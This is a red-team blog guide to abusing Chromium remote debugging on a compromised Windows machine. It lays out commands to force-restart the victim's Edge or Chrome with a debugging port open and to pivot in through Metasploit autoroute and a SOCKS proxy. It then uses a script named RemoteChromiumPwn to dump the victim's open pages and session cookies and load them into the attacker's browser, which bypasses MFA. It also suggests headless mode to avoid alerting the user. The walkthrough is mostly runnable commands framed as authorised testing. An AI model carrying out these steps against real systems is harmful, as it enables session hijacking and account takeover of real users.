Chromium Remote Debugging: A Tactical Guide for Red Team Operations

Remote debugging is a powerful feature that allows developers to connect to a running browser instance and control it externally. This capability, however, can be turned into a potent tool in the hands of a red team aiming to probe the defenses of a target organization.

What is remote debugging?

Purpose: Remote debugging is used to inspect, modify, and debug web pages and web applications. It’s particularly useful for testing how a website behaves on different devices or in different environments.
Scope: It allows developers to control a web page or app remotely, perform actions, modify elements, track network activity, and much more.

Open Port for Communication:

Remote debugging in browsers like Chrome or Edge is enabled by launching the browser with a special command-line argument that opens a specific port for debugging. For instance, using --remote-debugging-port=9222 will open port 9222 for debugging purposes.

Listening for Connections:

Once the browser is launched with this argument, it listens for incoming connections on the specified port. This port becomes a gateway through which debugging commands are sent and received.

Capabilities:

Through remote debugging, developers gain the ability to remotely control web pages or applications. They can execute actions, alter elements on the page, observe network activities, and access a wide range of diagnostic tools to enhance the development and testing process.

The Groundwork

This process will assume that you have already gained some form of compromised access to the endpoint that is in scope. In this guide, we’ll be using evil-winrm and assuming the endpoint is a Windows machine.

Prerequisite: Ensure you have authorised access to the endpoint in question and that this is done for ethical purposes only. I am not responsible for anyone using this without legal approval.

What’s Covered?

This might be a new concept for some of you reading this so I thought I would give a very quick overview of what you’ll be able to do after this post:

• Executing Chromium browsers to start with remote debugging
• Proxying traffic into the victim endpoint to interface with the remote debugging port and web socket
• Remotely dumping Chromium cookies and pages
• Injecting victim browsers cookies into our own
• Understand how we can use this to bypass MFA
• Full Python code to automate the whole process

The Code

If you have a good understanding on how remote debugging works with Chromium browsers and you’re only after a tool to interact with it, you can find it here:

RemoteChromiumPwn

Interacting with Chromium browsers with remote debugging:

How do we start remote debugging with Chromium browsers? There are a few flags that we can implement when starting remote debugging.

Powershell:

& 'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe' --remote-debugging-port=9222 --user-data-dir="C:\Users\$env:USERNAME\AppData\Local\Microsoft\Edge\User Data" --restore-last-session

& 'C:\Program Files\Google\Chrome\Application\chrome.exe' --remote-debugging-port=9222 --user-data-dir="C:\Users\$env:USERNAME\AppData\Local\Google\Chrome\User Data" --restore-last-session

cmd:

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data" --restore-last-session

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data" --restore-last-session

• --remote-debugging-port=9222:
  • This flag opens a port for remote debugging connections. The specified port number (9222 in this case) is where the browser will listen for debugging protocols from remote development tools.
• --user-data-dir="C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data":
  • This flag sets the user data directory to the specified path. It’s where the browser keeps user data such as history, bookmarks, and cookies. By specifying a user data directory, you can run multiple instances of the browser with different profiles. %USERNAME% is a placeholder for the current user’s username. Note: this will execute under the context of whatever user you are running – I suggest to hard code this for the user you are targeting.
• --restore-last-session:
  • When this flag is used, the browser will attempt to restore the last browsing session upon startup. This means that all tabs and windows that were open when the browser was last closed will be reopened. Note: when you forcefully kill the process, this flag won’t work.
• --headless=<new/old>
  • The --headless flag is used to run the browser without a user interface, which is particularly useful where you don’t want to display a GUI of the browser on the end users machine. A great way to interact with the remote debugger without alerting anyone.

Remote Debugging in Action: Red Team Use Cases

Case Study 1: Browser Open by User

In the case of a browser already being opened by a user, we can’t initiate the remote debugging as it will only implement on the starting of the application. Putting it basically, we need to kill the process and restart it. If we execute this at a relatively quick pace, the user will most likely assume that their browser simply crashed and restarted. This is by far the least OPSEC way but sometimes when we are short on time the trade off is worth it.

Step 1: Enumerate if the chromium browser is running:

ps | findstr msedge
ps | findstr chrome

Step 2: Terminate the existing process:

Get-Process -Name msedge -ErrorAction SilentlyContinue | Stop-Process -Force
Get-Process -Name chrome -ErrorAction SilentlyContinue | Stop-Process -Force

Step 3: Restart Chromium browser:

& 'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe' --remote-debugging-port=9222 --user-data-dir="C:\Users\$env:USERNAME\AppData\Local\Microsoft\Edge\User Data" --restore-last-session
& 'C:\Program Files\Google\Chrome\Application\chrome.exe' --remote-debugging-port=9222 --user-data-dir="C:\Users\$env:USERNAME\AppData\Local\Google\Chrome\User Data" --restore-last-session

Step 4: Interact with the remote debugging port

This isn’t a necessary step for this process but I am just outlining it to show you what we are looking at / for.

curl http://localhost:9222/json

From above we can see that the remote debugging port is open on port 9222 and this identifies the web socket endpoint that we will use to interface with the victims browser. I am not going to go into the details of the web socket and how it works in this regard, I’ll leave that up to you to do some extra reading. If you want to dive deep into the possibilities of what we can achieve when interacting with the remote debugger you can find them here.

Step 5: Pull the current pages the user is browsing

I couldn’t find any tools that were kept up to date and worked with the current changes of Chromium so I wrote a new variation to interact with remote chromium browsers in Python. The code was linked at the start of this post but you can also access it here.

In our case we don’t have physical access to the victims machine so we need to create a pivot proxy to access it from our attacking machine (or you could simply open the port to external connections, pick your poison). You can use whatever method you like for this, in this demonstration I’ll use Metasploit:

use post/multi/manage/autoroute
set session #
set subnet <subnet>
run

In the above command, use the sessions that you have on the compromised machine, the subnet of the compromised machine that you want to proxy your local traffic into then run.

Now we need to setup a proxychain – autoroute itself will only proxy Metasploit traffic so if we want to proxy our own tools through it we will execute the following:

use auxiliary/server/socks_proxy
set version 4a
set srvport <port>
run

All you have to do now is setup your proxychains config

sudo nano /etc/proxychains4.conf

Once in your config file, scroll all the way to the bottom and setup your socks4 to whatever port you set previously for the srvport:

Now that we have everything configured and our pivot is configured, we can use the tool I wrote earlier to interact with the remote debugging port.

Step 6: Clone the repository to your local machine:

git clone https://github.com/Krptyk/RemoteChromiumPwn.git
cd RemoteChromiumPwn

Lets start by seeing what pages our victim is browsing:

proxychains -q python3 RemoteChromiumPwn.py --dump-pages -p 9222

My victim machine is browsing this page. Taking the attack a step further we can dump the cookies:

proxychains -q python3 RemoteChromiumPwn.py --dump-cookies -p 9222

So I am not browsing anything sensitive on my victim machine but you can see all the cookies that currently exist within the context of this browser we have access to. Lets say for instance this user is browsing something sensitive like their companies Azure portal or browser, we can dump these cookies and put them into our own browser.

Step 7: Injecting cookies into our own browser

I got tired of manually copying and pasting cookies into my browser and trying to figure out which cookies authenticated the session so I added the capability to inject cookies into our own browser – this just automates the full process and we can simply browse to the pages and see if we have a valid session and succesfully passed the cookie:

Dump cookies into .json format:

proxychains -q python3 RemoteChromiumPwn.py --dump-cookies -p 9222 --format json -o cookies.json

Inject cookies into our own browser:

For this we need to have a remote debugging session running on a machine that we have access to, in this case I am just using my Kali Linux attacking machine:

google-chrome-stable --remote-debugging-port=9225

We will load the previous .json output file we dumped from the victim machine and push them into our own browser:

python3 RemoteChromiumPwn.py --load-cookies cookies.json -p 9225

We have successfully loaded the victims cookies into our own browser and automated the process of adding them manually. In this case we can simply browse to any of the pages associated with the cookies and see if any of the sessions give us a valid login. An important thing to note from this attack is it will bypass any MFA / login process that the site has in place, we are stealing the authenticated session cookie in which this has already occurred.

Whats next?

In this case study we executed from the context of the browser already running on a users machine. In the coming blog posts I’ll walk through two other use cases where we can run the browser without the user knowing and also a full undetected (as of writing this blog) way to always have the browser execute in the context of the remote debugging being enabled.